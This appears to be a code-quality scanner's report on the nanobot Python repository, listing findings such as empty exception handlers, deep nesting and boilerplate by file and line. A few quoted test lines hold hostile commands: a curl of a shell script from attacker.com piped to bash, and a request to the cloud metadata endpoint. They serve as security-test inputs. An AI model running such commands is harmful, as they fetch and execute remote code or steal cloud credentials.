LOWnanobot/triggers/local_runner.py186 except Exception:CODE
LOWnanobot/providers/image_generation.py559 except Exception:CODE
LOWnanobot/providers/image_generation.py1415 except Exception as exc:CODE
LOWnanobot/providers/image_generation.py1603 except Exception:CODE
LOWnanobot/providers/image_generation.py1624 except Exception:CODE
LOWnanobot/providers/transcription.py146 except Exception as e:CODE
LOWnanobot/providers/transcription.py173 except Exception as e:CODE
LOWnanobot/providers/transcription.py179 except Exception as e:CODE
LOWnanobot/providers/transcription.py460 except Exception as e:CODE
LOWnanobot/providers/transcription.py487 except Exception as e:CODE
LOWnanobot/providers/transcription.py493 except Exception as e:CODE
LOWnanobot/providers/github_copilot_oauth.py59 except Exception as exc:CODE
MEDIUMnanobot/providers/github_copilot_oauth.py50def _run(self) -> None:CODE
LOWnanobot/providers/bedrock_provider.py134 except Exception:CODE
LOWnanobot/providers/bedrock_provider.py224 except Exception:CODE
LOWnanobot/providers/bedrock_provider.py753 except Exception as e:CODE
LOWnanobot/providers/bedrock_provider.py824 except Exception as e:CODE
LOWnanobot/providers/openai_codex_oauth.py141 except Exception as exc:CODE
LOWnanobot/providers/openai_codex_oauth.py181 except Exception:CODE
MEDIUMnanobot/providers/openai_codex_oauth.py132def _run(self) -> None:CODE
LOWnanobot/providers/xai_oauth.py228 except Exception as exc:CODE
MEDIUMnanobot/providers/openai_compat_provider.py610def aclose(self) -> None:CODE
LOW⚡nanobot/providers/openai_compat_provider.py675 except Exception:CODE
LOWnanobot/providers/openai_compat_provider.py236 except Exception:CODE
LOWnanobot/providers/openai_compat_provider.py426 except Exception:CODE
LOWnanobot/providers/openai_compat_provider.py1777 except Exception:CODE
LOWnanobot/providers/openai_compat_provider.py1898 except Exception as responses_error:CODE
LOWnanobot/providers/openai_compat_provider.py1916 except Exception as e:CODE
LOWnanobot/providers/openai_compat_provider.py1952 except Exception as responses_error:CODE
LOWnanobot/providers/openai_compat_provider.py2047 except Exception as e:CODE
LOWnanobot/providers/xai_grok_provider.py226 except Exception as exc:CODE
LOWnanobot/providers/azure_openai_provider.py75 except Exception:CODE
LOWnanobot/providers/azure_openai_provider.py314 except Exception as e:CODE
LOWnanobot/providers/azure_openai_provider.py344 except Exception as e:CODE
MEDIUMnanobot/providers/azure_openai_provider.py137def aclose(self) -> None:CODE
LOWnanobot/providers/openai_codex_provider.py203 except Exception as exc:CODE
LOWnanobot/providers/openai_codex_provider.py260 except Exception as e:CODE
LOWnanobot/providers/fallback_provider.py570 except Exception as exc:CODE
LOWnanobot/providers/fallback_provider.py688 except Exception as exc:CODE
LOWnanobot/providers/fallback_provider.py713 except Exception:CODE
LOWnanobot/providers/anthropic_provider.py150 except Exception:CODE
LOWnanobot/providers/anthropic_provider.py770 except Exception as e:CODE
LOWnanobot/providers/anthropic_provider.py883 except Exception as e:CODE
492 more matches not shown…
Empty Error Handlers83 hits · 412 pts
SeverityFileLineSnippetContext
HIGHtui/scripts/pty_smoke.py140except ChildProcessError:CODE
HIGHnanobot/process_runtime.py426except OSError:CODE
HIGHnanobot/config/schema.py744except ImportError:CODE
HIGHnanobot/providers/image_generation.py559except Exception:CODE
HIGHnanobot/providers/image_generation.py1624except Exception:CODE
HIGHnanobot/providers/image_generation.py209except ValueError:CODE
HIGHnanobot/providers/openai_codex_oauth.py181except Exception:CODE
HIGHnanobot/providers/xai_grok_provider.py539except (TypeError, ValueError):CODE
HIGHnanobot/providers/azure_openai_provider.py75except Exception:CODE
HIGHnanobot/providers/openai_codex_provider.py657except ValueError:CODE
HIGHnanobot/providers/oauth_model_catalog.py46except ValueError:CODE
HIGHnanobot/utils/file_edit_events.py158except Exception:CODE
HIGHnanobot/utils/document.py694except (OSError, RuntimeError, TypeError, ValueError):CODE
HIGHnanobot/utils/helpers.py430except Exception:CODE
HIGHnanobot/utils/helpers.py819except Exception:CODE
HIGHnanobot/utils/helpers.py876except Exception:CODE
HIGHnanobot/agent/plugins.py298except OSError:CODE
HIGHnanobot/agent/tools/filesystem.py172except (OSError, RuntimeError):CODE
HIGHnanobot/agent/tools/shell.py77except (ProcessLookupError, ChildProcessError):CODE
HIGHnanobot/agent/tools/shell.py752except (ProcessLookupError, PermissionError):CODE
HIGHnanobot/agent/tools/sandbox.py34except ValueError:CODE
HIGHnanobot/agent/tools/mcp.py413except (UnicodeDecodeError, ValueError):CODE
HIGHnanobot/agent/tools/search.py342except OSError:CODE
HIGHnanobot/agent/tools/search.py490except OSError:CODE
HIGHnanobot/cli/gateway_runtime.py816except (asyncio.TimeoutError, ConnectionError):CODE
HIGHnanobot/cli/remote.py34except ValueError:CODE
HIGHnanobot/cli/webui_support.py106except OSError:CODE
HIGHnanobot/cli/tui_launcher.py393except OSError:CODE
HIGHnanobot/cli/windows_browser.py391except Exception:CODE
HIGHnanobot/cli/windows_browser.py69except OSError:CODE
HIGHnanobot/cli/windows_browser.py86except OSError:CODE
HIGHnanobot/cli/windows_browser.py351except OSError:CODE
HIGHnanobot/cli/windows_browser.py97except OSError:CODE
HIGHnanobot/cli/commands.py315except Exception:CODE
HIGHnanobot/sdk/streaming.py96except asyncio.CancelledError:CODE
HIGHnanobot/sdk/streaming.py98except Exception:CODE
HIGHnanobot/webui/remote_instances.py171except TimeoutError:CODE
HIGHnanobot/webui/session_list_index.py348except OSError:CODE
HIGHnanobot/webui/session_list_index.py411except OSError:CODE
HIGHnanobot/webui/session_list_index.py301except (TypeError, ValueError):CODE
HIGHnanobot/webui/transcript.py746except OSError:CODE
HIGHnanobot/webui/transcript.py2448except ValueError:CODE
HIGHnanobot/webui/transcript.py804except OSError:CODE
HIGHnanobot/webui/remote_ssh.py178except ProcessLookupError:CODE
HIGHnanobot/webui/remote_ssh.py185except ProcessLookupError:CODE
HIGHnanobot/webui/cli_apps_api.py33except Exception:CODE
HIGHnanobot/webui/dev.py49except subprocess.TimeoutExpired:CODE
HIGHnanobot/channels/manager.py914except (TypeError, ValueError):CODE
HIGHnanobot/channels/dingtalk/runtime.py58except ImportError:CODE
HIGHnanobot/channels/websocket/runtime.py708except TimeoutError:CODE
HIGHnanobot/channels/websocket/runtime.py1059except ConnectionClosed:CODE
HIGHnanobot/channels/websocket/runtime.py792except TimeoutError:CODE
HIGHnanobot/channels/napcat/runtime.py550except (TypeError, KeyError):CODE
HIGHnanobot/channels/napcat/runtime.py162except Exception:CODE
HIGHnanobot/channels/napcat/runtime.py168except Exception:CODE
HIGHnanobot/channels/napcat/runtime.py211except (TypeError, ValueError):CODE
HIGHnanobot/channels/napcat/runtime.py228except asyncio.CancelledError:CODE
HIGHnanobot/channels/napcat/runtime.py356except (TypeError, ValueError):CODE
HIGHnanobot/channels/feishu/runtime.py221except (json.JSONDecodeError, TypeError):CODE
HIGHnanobot/channels/feishu/tests/test_feishu_reply.py1138except RuntimeError:CODE
23 more matches not shown…
Cross-Language Confusion37 hits · 238 pts
SeverityFileLineSnippetContext
HIGHhatch_build.py5to remember `cd webui && bun run build` beforehand.STRING
HIGHhatch_build.py10 development; webui contributors use `cd webui && bun run dev` (Vite HMR) andSTRING
HIGHhatch_build.py57 "(use `cd webui && bun run build` to bundle webui manually)"CODE
HIGHnanobot/web/__init__.py8can still use the Vite dev server at ``cd webui && bun run dev``.STRING
HIGHnanobot/agent/tools/shell.py593 "if ($LASTEXITCODE -ne $null) { exit $LASTEXITCODE }"CODE
HIGHnanobot/webui/build.py201 "`cd webui && bun run build` manually"CODE
HIGHnanobot/webui/build.py252 message = "Build WebUI now? This runs `cd webui && bun run build`."CODE
HIGH⚡…bot/channels/websocket/tests/test_websocket_channel.py817 ('{"content": null}', None), # null contentCODE
HIGH⚡tests/pairing/test_store.py261 '{"approved": {"telegram": null, "discord": ["456"]}, "pending": {}}',CODE
HIGH⚡tests/pairing/test_store.py274 '{"approved": null, "pending": null}',CODE
HIGH⚡tests/pairing/test_store.py313 '{"approved": {}, "pending": {"ABCD-EFGH": null}}',CODE
HIGH⚡tests/pairing/test_store.py325 '"bad-expiry": {"channel": "telegram", "sender_id": "123", "expires_at": null},'CODE
HIGH⚡tests/tools/test_exec_security.py171 command="echo start && curl http://169.254.169.254/latest/meta-data/ && echo done"CODE
HIGHtests/tools/test_exec_security.py322 'rm test_print.txt 2>/dev/null; echo "done"',CODE
HIGHtests/tools/test_exec_security.py353 command=f'rm {target} 2>/dev/null; echo "done"',CODE
HIGH⚡tests/tools/test_seatbelt_native.py158 f"mv {ancestor} shifted && printf changed > {shlex.quote(str(moved_sentinel))}",CODE
HIGH⚡tests/tools/test_seatbelt_native.py174 "mkdir tree/sibling && printf writable > tree/sibling/file && "CODE
HIGH⚡tests/tools/test_seatbelt_native.py175 "mv tree/sibling tree/renamed && rm tree/renamed/file && rmdir tree/renamed",CODE
HIGH⚡tests/tools/test_exec_platform.py884 result = await ExecTool(timeout=10).execute(command="echo before && echo after")CODE
HIGHtests/tools/test_exec_platform.py293 assert "if ($LASTEXITCODE -ne $null) { exit $LASTEXITCODE }" in commandCODE
HIGHtests/tools/test_exec_platform.py710 cmd = r'copy \\server\data\file.txt C:\local\temp && ls /tmp'CODE
HIGHtests/tools/test_exec_allow_patterns.py60 "echo allowlisted && touch /tmp/evil",CODE
HIGH⚡tests/tools/test_exec_allow_patterns.py151 result = tool._guard_command("echo allowlisted && echo also_allowed", "/tmp")CODE
HIGHtests/tools/test_exec_env.py118 '/tmp/bin && curl http://attacker.com/shell.sh | bash',CODE
HIGH⚡tests/security/test_security_network.py398 assert not contains_internal_url("echo hello && ls -la")CODE
HIGH⚡tests/utils/test_workspace_violation_throttle.py33 {"command": "cat /Users/x/Downloads/01.md && echo done"},CODE
HIGH⚡tests/agent/test_cursor_recovery.py52 '{"cursor": null, "timestamp": "2026-04-01 10:02", "content": "null"}\n'CODE
HIGH⚡tests/agent/test_cursor_recovery.py127 '{"cursor": null, "timestamp": "2026-04-01 10:02", "content": "also bad"}\n'CODE
HIGH⚡tests/agent/test_tool_hint.py57 cmd = "cd /very/long/path && cat file && echo done && sleep 1 && ls -la"CODE
HIGH⚡tests/agent/test_tool_hint.py64 cmd = "cd D:\\Documents\\GitHub\\nanobot\\.worktree\\tomain\\nanobot && git diff origin/main...pr-2706 --name-onCODE
HIGH⚡tests/agent/test_tool_hint.py71 cmd = "cd /home/user/projects/nanobot/.worktree/tomain && make build"CODE
HIGH⚡tests/agent/test_tool_hint.py78 cmd = "cd ~/projects/nanobot/workspace && pytest tests/"CODE
HIGH⚡tests/agent/test_tool_hint.py100 cmd = "cd D:\\Documents\\GitHub\\project && npm run build && npm test"CODE
HIGH⚡tests/agent/test_tool_hint.py266 cmd = "cd /very/long/path/to/some/project && npm run build && npm test"CODE
HIGH⚡tests/agent/test_tool_hint.py272 cmd = "cd /very/long/path/to/some/project && npm run build && npm test"CODE
HIGH⚡tests/agent/test_tool_hint.py279 cmd = "cd /home/user/project && npm install && npm run build"CODE
HIGH⚡tests/webui/test_remote_instances.py807@pytest.mark.parametrize("config", ["invalid JSON", "[]", '{"channels": null}', '{"channels": {"websocket": []}}'])CODE
Deep Nesting289 hits · 221 pts
SeverityFileLineSnippetContext
LOWtui/scripts/pty_smoke.py75CODE
LOWnanobot/process_runtime.py263CODE
LOWnanobot/optional_features.py536CODE
LOWnanobot/pairing/store.py316CODE
LOWnanobot/config/schema.py533CODE
LOWnanobot/triggers/local_store.py411CODE
LOWnanobot/providers/image_generation.py154CODE
LOWnanobot/providers/image_generation.py1575CODE
LOWnanobot/providers/image_generation.py1634CODE
LOWnanobot/providers/image_generation.py794CODE
LOWnanobot/providers/bedrock_provider.py353CODE
LOWnanobot/providers/bedrock_provider.py548CODE
LOWnanobot/providers/openai_compat_provider.py679CODE
LOWnanobot/providers/openai_compat_provider.py1217CODE
LOWnanobot/providers/openai_compat_provider.py1326CODE
LOWnanobot/providers/openai_compat_provider.py1457CODE
LOWnanobot/providers/openai_compat_provider.py1604CODE
LOWnanobot/providers/openai_compat_provider.py1764CODE
LOWnanobot/providers/openai_compat_provider.py1871CODE
LOWnanobot/providers/openai_compat_provider.py1919CODE
LOWnanobot/providers/factory.py52CODE
LOWnanobot/providers/xai_grok_provider.py370CODE
LOWnanobot/providers/xai_grok_provider.py575CODE
LOWnanobot/providers/xai_grok_provider.py591CODE
LOWnanobot/providers/xai_grok_provider.py103CODE
LOWnanobot/providers/xai_grok_provider.py397CODE
LOWnanobot/providers/azure_openai_provider.py226CODE
LOWnanobot/providers/routing.py90CODE
LOWnanobot/providers/openai_codex_provider.py531CODE
LOWnanobot/providers/fallback_provider.py461CODE
LOWnanobot/providers/images.py33CODE
LOWnanobot/providers/images.py100CODE
LOWnanobot/providers/anthropic_provider.py137CODE
LOWnanobot/providers/anthropic_provider.py202CODE
LOWnanobot/providers/anthropic_provider.py312CODE
LOWnanobot/providers/anthropic_provider.py591CODE
LOWnanobot/providers/anthropic_provider.py678CODE
LOWnanobot/providers/anthropic_provider.py788CODE
LOWnanobot/providers/base.py834CODE
LOWnanobot/providers/base.py970CODE
LOWnanobot/providers/base.py1081CODE
LOWnanobot/providers/base.py1144CODE
LOWnanobot/providers/base.py1219CODE
LOWnanobot/providers/base.py1259CODE
LOWnanobot/providers/base.py1807CODE
LOWnanobot/providers/oauth_model_catalog.py116CODE
LOWnanobot/providers/openai_responses/parsing.py94CODE
LOWnanobot/providers/openai_responses/parsing.py376CODE
LOWnanobot/providers/openai_responses/parsing.py591CODE
LOWnanobot/providers/openai_responses/parsing.py615CODE
LOWnanobot/providers/openai_responses/converters.py15CODE
LOWnanobot/providers/openai_responses/converters.py77CODE
LOWnanobot/providers/openai_responses/converters.py103CODE
LOWnanobot/providers/openai_responses/websocket.py128CODE
LOWnanobot/utils/gitstore.py174CODE
LOWnanobot/utils/gitstore.py230CODE
LOWnanobot/utils/gitstore.py300CODE
LOWnanobot/utils/gitstore.py417CODE
LOWnanobot/utils/gitstore.py444CODE
LOWnanobot/utils/run_records.py37CODE
229 more matches not shown…
Modern Structural Boilerplate96 hits · 100 pts
SeverityFileLineSnippetContext
LOWnanobot/nanobot.py45__all__ = [CODE
LOWnanobot/__init__.py96__all__ = [CODE
LOWnanobot/pairing/__init__.py22__all__ = [CODE
LOWnanobot/llm_usage/__init__.py78__all__ = [CODE
LOWnanobot/config/home.py8def set_home_path(path: Path | None) -> None:CODE
LOWnanobot/config/__init__.py19__all__ = [CODE
LOWnanobot/config/loader.py30def set_config_path(path: Path) -> None:CODE
LOWnanobot/triggers/__init__.py11__all__ = [CODE
LOWnanobot/providers/__init__.py10__all__ = [CODE
LOW⚡nanobot/providers/fallback_provider.py175 def set_fallback_model_observer(self, observer: FallbackModelObserver | None) -> None:CODE
LOW⚡nanobot/providers/fallback_provider.py179 def set_llm_call_observer(self, observer: LLMCallObserver | None) -> None:CODE
LOWnanobot/providers/base.py729 def set_llm_call_observer(self, observer: LLMCallObserver | None) -> None:CODE
LOWnanobot/providers/openai_responses/__init__.py33__all__ = [CODE
LOWnanobot/bus/__init__.py6__all__ = ["MessageBus", "InboundMessage", "OutboundMessage"]CODE
LOWnanobot/utils/__init__.py12__all__ = ["ensure_dir", "abbreviate_path"]CODE
LOWnanobot/agent/plugins.py249def set_agent_plugin_enabled(workspace: Path, name: str, enabled: bool) -> None:CODE
LOWnanobot/agent/subagent.py447 def set_provider(self, provider: LLMProvider, model: str) -> None:CODE
LOWnanobot/agent/memory.py488 def set_last_dream_cursor(self, cursor: int) -> None:CODE
LOWnanobot/agent/__init__.py17__all__ = [CODE
LOW⚡nanobot/agent/loop.py523 def set_runtime_max_iterations(self, value: int) -> None:CODE
LOWnanobot/agent/loop.py2502 def _set_runtime_checkpoint(self, session: Session, payload: dict[str, Any]) -> None:CODE
LOWnanobot/agent/tools/mcp_oauth.py390 async def set_tokens(self, tokens: OAuthToken) -> None:CODE
LOWnanobot/agent/tools/mcp_oauth.py417 async def set_client_info(self, client_info: OAuthClientInformationFull) -> None:CODE
LOWnanobot/agent/tools/__init__.py17__all__ = [CODE
LOWnanobot/agent/tools/message.py103 def set_send_callback(self, callback: Callable[[OutboundMessage], Awaitable[None]]) -> None:CODE
LOWnanobot/agent/tools/_windows_job.py108def _set_kill_on_close(handle: int, enabled: bool) -> None:CODE
LOWnanobot/agent/tools/context.py51 def set_context(self, ctx: RequestContext) -> None:CODE
LOW⚡nanobot/agent/tools/mcp.py518 def _set_mcp_connection(self, session: ClientSession, server_name: str) -> None:CODE
LOW⚡nanobot/agent/tools/mcp.py523 def set_reconnect_handler(self, reconnect: _ReconnectCallback) -> None:CODE
LOW⚡nanobot/agent/tools/runtime_control.py97 def set_max_iterations(self, value: int) -> None: ...CODE
LOW⚡nanobot/agent/tools/runtime_control.py101 def set_provider_retry_mode(self, value: str) -> None: ...CODE
LOW⚡nanobot/agent/tools/runtime_control.py103 def set_max_tool_result_chars(self, value: int) -> None: ...CODE
LOW⚡nanobot/agent/tools/runtime_control.py105 def set_workspace_display(self, value: str) -> None: ...CODE
LOW⚡nanobot/agent/tools/runtime_control.py107 def set_scratchpad(self, key: str, value: JsonValue, *, max_keys: int) -> None: ...CODE
LOW⚡nanobot/agent/tools/runtime_control.py141 def set_runtime_max_iterations(self, value: int) -> None: ...CODE
LOW⚡nanobot/agent/tools/runtime_control.py190 def set_max_iterations(self, value: int) -> None:CODE
LOW⚡nanobot/agent/tools/runtime_control.py196 def set_provider_retry_mode(self, value: str) -> None:CODE
LOW⚡nanobot/agent/tools/runtime_control.py199 def set_max_tool_result_chars(self, value: int) -> None:CODE
LOW⚡nanobot/agent/tools/runtime_control.py202 def set_workspace_display(self, value: str) -> None:CODE
LOW⚡nanobot/agent/tools/runtime_control.py206 def set_scratchpad(self, key: str, value: JsonValue, *, max_keys: int) -> None:CODE
LOWnanobot/agent/tools/loader.py172 def set_context(self, ctx: RequestContext) -> None:CODE
LOWnanobot/agent/hooks/__init__.py8__all__ = [CODE
LOWnanobot/cli/gateway_runtime.py51__all__ = ["_run_gateway"]CODE
LOW⚡nanobot/cli/onboard.py1598def _set_primary_quick_start_preset(config: Config, provider_name: str, model: str) -> None:CODE
LOWnanobot/cli/runtime_config.py13__all__ = [CODE
LOWnanobot/cli/terminal.py34__all__ = [CODE
LOWnanobot/cli/webui_support.py37__all__ = [CODE
LOWnanobot/cli/process_identity.py13def _set_process_title(title: str) -> None:CODE
LOWnanobot/cli/process_identity.py22def set_cli_process_identity(args: list[str]) -> None:CODE
LOWnanobot/cli/log_control.py5__all__ = ["_set_nanobot_logs"]CODE
LOWnanobot/cli/log_control.py8def _set_nanobot_logs(enabled: bool) -> None:CODE
LOWnanobot/webui/settings_capabilities.py289 def set_search_value(attr: str, value: object) -> None:CODE
LOWnanobot/webui/settings_capabilities.py295 def set_fetch_value(attr: str, value: object) -> None:CODE
LOWnanobot/webui/settings_capabilities.py359def update_api_settings(config: Config, query: QueryParams) -> None:CODE
LOWnanobot/webui/mcp_presets_runtime.py5__all__ = ["session_extra"]CODE
LOWnanobot/webui/remote_pair_server.py137def _update_keys(path: Path, *, add: str = "", remove: str = "") -> None:STRING
LOWnanobot/webui/version_check.py17logger = logging.getLogger(__name__)CODE
LOWnanobot/command/__init__.py6__all__ = ["CommandContext", "CommandRouter", "register_builtin_commands"]CODE
LOWnanobot/apps/__init__.py5__all__ = ["APP_PROTOCOL_SCHEMA", "app_manifest"]CODE
LOWnanobot/apps/cli/__init__.py9__all__ = [CODE
36 more matches not shown…
AI Structural Patterns47 hits · 37 pts
SeverityFileLineSnippetContext
LOWnanobot/nanobot.py144CODE
LOWnanobot/nanobot.py205CODE
LOWnanobot/nanobot.py310CODE
LOWnanobot/providers/bedrock_provider.py55CODE
LOWnanobot/providers/bedrock_provider.py756CODE
LOWnanobot/providers/openai_compat_provider.py487CODE
LOWnanobot/providers/openai_compat_provider.py1919CODE
LOWnanobot/providers/github_copilot_provider.py317CODE
LOWnanobot/providers/xai_grok_provider.py255CODE
LOWnanobot/providers/azure_openai_provider.py317CODE
LOWnanobot/providers/openai_codex_provider.py321CODE
LOWnanobot/providers/openai_codex_provider.py423CODE
LOWnanobot/providers/anthropic_provider.py92CODE
LOWnanobot/providers/anthropic_provider.py788CODE
LOWnanobot/providers/base.py1317CODE
LOWnanobot/providers/base.py1462CODE
LOWnanobot/providers/base.py1531CODE
LOWnanobot/agent/subagent.py208CODE
LOWnanobot/agent/subagent.py566CODE
LOWnanobot/agent/subagent.py593CODE
LOWnanobot/agent/loop.py260CODE
LOWnanobot/agent/loop.py980CODE
LOWnanobot/agent/loop.py1737CODE
LOWnanobot/agent/loop.py2517CODE
LOWnanobot/agent/tools/filesystem.py47CODE
LOWnanobot/agent/tools/shell.py195CODE
LOWnanobot/agent/tools/shell.py274CODE
LOWnanobot/agent/tools/search.py400CODE
LOWnanobot/agent/tools/search.py649CODE
LOWnanobot/cli/gateway_runtime.py345CODE
LOWnanobot/cli/gateway.py342CODE
LOWnanobot/cli/webui.py74CODE
LOWnanobot/cli/agent.py54CODE
LOWnanobot/webui/gateway_services.py58CODE
LOWnanobot/webui/ws_http.py354CODE
LOWnanobot/webui/transcript.py2495CODE
LOWnanobot/webui/dev.py124CODE
LOWnanobot/cron/service.py750CODE
LOWnanobot/channels/manager.py94CODE
LOW…channels/websocket/tests/test_websocket_http_routes.py71CODE
LOW…channels/websocket/tests/test_websocket_http_routes.py111CODE
LOWnanobot/channels/discord/tests/test_discord_channel.py181CODE
LOWnanobot/channels/feishu/tests/test_feishu_reply.py51CODE
LOWnanobot/channels/matrix/runtime.py528CODE
LOWnanobot/channels/signal/tests/test_signal_channel.py84CODE
LOWnanobot/channels/signal/tests/test_signal_channel.py658CODE
LOWtests/agent/conftest.py42CODE
Self-Referential Comments9 hits · 33 pts
SeverityFileLineSnippetContext
MEDIUMnanobot/channels/email/tests/test_email_channel.py1622 # Create a real temp file to attachCOMMENT
MEDIUMtests/test_api_attachment.py275 # Create a file larger than 10MBCOMMENT
MEDIUM⚡tests/test_document_parsing.py487 # Create a minimal PNG file (1x1 pixel)COMMENT
MEDIUMtests/providers/test_image_generation.py1832 # Create a temporary image fileCOMMENT
MEDIUM⚡tests/agent/test_unified_session.py350 # Create a message from telegram channelCOMMENT
MEDIUM⚡tests/agent/test_unified_session.py365 # Create a long-running task stored under UNIFIED_SESSION_KEYCOMMENT
MEDIUM⚡tests/agent/test_unified_session.py372 # Create a message that would have session_key=UNIFIED_SESSION_KEY after dispatchCOMMENT
MEDIUM⚡tests/agent/test_onboard_logic.py203 # Create a mock field_info with None annotationCOMMENT
MEDIUMtests/channels/test_channel_plugins.py3569 # Create a real cancelled taskCOMMENT
Structural Annotation Overuse16 hits · 22 pts
SeverityFileLineSnippetContext
LOWnanobot/skills/update-setup/SKILL.md15## Step 1: Check ExistingCOMMENT
LOWnanobot/skills/update-setup/SKILL.md21## Step 2: Current Version and Install CluesCOMMENT
LOWnanobot/skills/update-setup/SKILL.md38## Step 3: Confirm Required InputsCOMMENT
LOWnanobot/skills/update-setup/SKILL.md80## Step 4: Generate SkillCOMMENT
LOWnanobot/skills/update-setup/SKILL.md126## Step 5: ConfirmCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md222### Step 1: Understanding the Skill with Concrete ExamplesCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md239### Step 2: Planning the Reusable Skill ContentsCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md263### Step 3: Initializing the SkillCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md296### Step 4: Edit the SkillCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md337### Step 5: Packaging a SkillCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md365### Step 6: IterateCOMMENT
LOWnanobot/channels/dingtalk/runtime.py844 # Step 1: Exchange downloadCode for a temporary download URLCOMMENT
LOWnanobot/channels/dingtalk/runtime.py859 # Step 2: Download the file contentCOMMENT
LOWnanobot/channels/weixin/runtime.py2383 # Step 1: Get upload URL from server (prefer upload_full_url, fallback to upload_param)COMMENT
LOWnanobot/channels/weixin/runtime.py2409 # Step 2: AES-128-ECB encrypt and POST to CDNCOMMENT
LOWnanobot/channels/weixin/runtime.py2437 # Step 3: Send message with the media itemCOMMENT
Magic Placeholder Names2 hits · 10 pts
SeverityFileLineSnippetContext
HIGHdocs/configuration.md997 "apiKey": "your-api-key",CODE
HIGHdocs/configuration.md1025 "apiKey": "your-api-key",CODE
Redundant / Tautological Comments5 hits · 9 pts
SeverityFileLineSnippetContext
LOWnanobot/agent/tools/filesystem.py228 # Check if resolved path starts with /dev/ (covers symlinks to devices)COMMENT
LOW⚡nanobot/cli/onboard.py1065 # Check if context_window_tokens field existsCOMMENT
LOW⚡nanobot/cli/onboard.py1071 # Check if current value is the defaultCOMMENT
LOWnanobot/skills/skill-creator/scripts/init_skill.py282 # Check if directory already existsCOMMENT
LOWnanobot/channels/manager.py978 # Check if this message belongs to the same streamCOMMENT
AI Slop Vocabulary4 hits · 9 pts
SeverityFileLineSnippetContext
MEDIUMnanobot/channels/dingtalk/runtime.py78 # Parse using SDK's ChatbotMessage for robust handlingCOMMENT
LOWnanobot/channels/weixin/runtime.py1232 # If quoted message is media, just pass the textCOMMENT
MEDIUMnanobot/channels/signal/runtime.py713 # Keep aliases of the bot account for robust mention matching.COMMENT
MEDIUMwebui/package-lock.json7950 "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.3.tgz",CODE
Modern AI Meta-Vocabulary2 hits · 6 pts
SeverityFileLineSnippetContext
MEDIUMnanobot/providers/openai_compat_provider.py1501 # under the reasoning trace.COMMENT
MEDIUMdocs/my-tool.md47# Note: prompt_tokens is cumulative across all turns, not current context window occupancy.COMMENT
Dead Code3 hits · 6 pts
SeverityFileLineSnippetContext
MEDIUMtests/tools/test_private_tool_logging.py48CODE
MEDIUMtests/tools/test_mcp_tool.py212CODE
MEDIUMtests/tools/test_mcp_tool.py1065CODE
Verbosity Indicators5 hits · 5 pts
SeverityFileLineSnippetContext
LOWnanobot/channels/dingtalk/runtime.py844 # Step 1: Exchange downloadCode for a temporary download URLCOMMENT
LOWnanobot/channels/dingtalk/runtime.py859 # Step 2: Download the file contentCOMMENT
LOWnanobot/channels/weixin/runtime.py2383 # Step 1: Get upload URL from server (prefer upload_full_url, fallback to upload_param)COMMENT
LOWnanobot/channels/weixin/runtime.py2409 # Step 2: AES-128-ECB encrypt and POST to CDNCOMMENT
LOWnanobot/channels/weixin/runtime.py2437 # Step 3: Send message with the media itemCOMMENT
Docstring Block Structure1 hit · 5 pts
SeverityFileLineSnippetContext
HIGHnanobot/skills/skill-creator/scripts/init_skill.py267 Initialize a new skill directory with template SKILL.md. Args: skill_name: Name of the skill pSTRING
Over-Commented Block5 hits · 4 pts
SeverityFileLineSnippetContext
LOWrender.yaml1# Render Blueprint — deploys nanobot's gateway + bundled WebUI as one webCOMMENT
LOWnanobot/config/schema.py601 # like "nemotron" or "llama" to enable bare-model auto-routing,COMMENT
LOWnanobot/providers/registry.py101 # How to inject the thinking on/off toggle into extra_body.COMMENT
LOWnanobot/providers/registry.py121 # accepted set differs from OpenAI's. An empty mapped value omits the kwarg.COMMENT
LOWnanobot/channels/qq/runtime.py181# Quoted messagesCOMMENT
Overly Generic Function Names1 hit · 1 pts
SeverityFileLineSnippetContext
LOW…nobot/channels/whatsapp/tests/test_whatsapp_channel.py298 def handle_request(request: httpx.Request) -> httpx.Response:CODE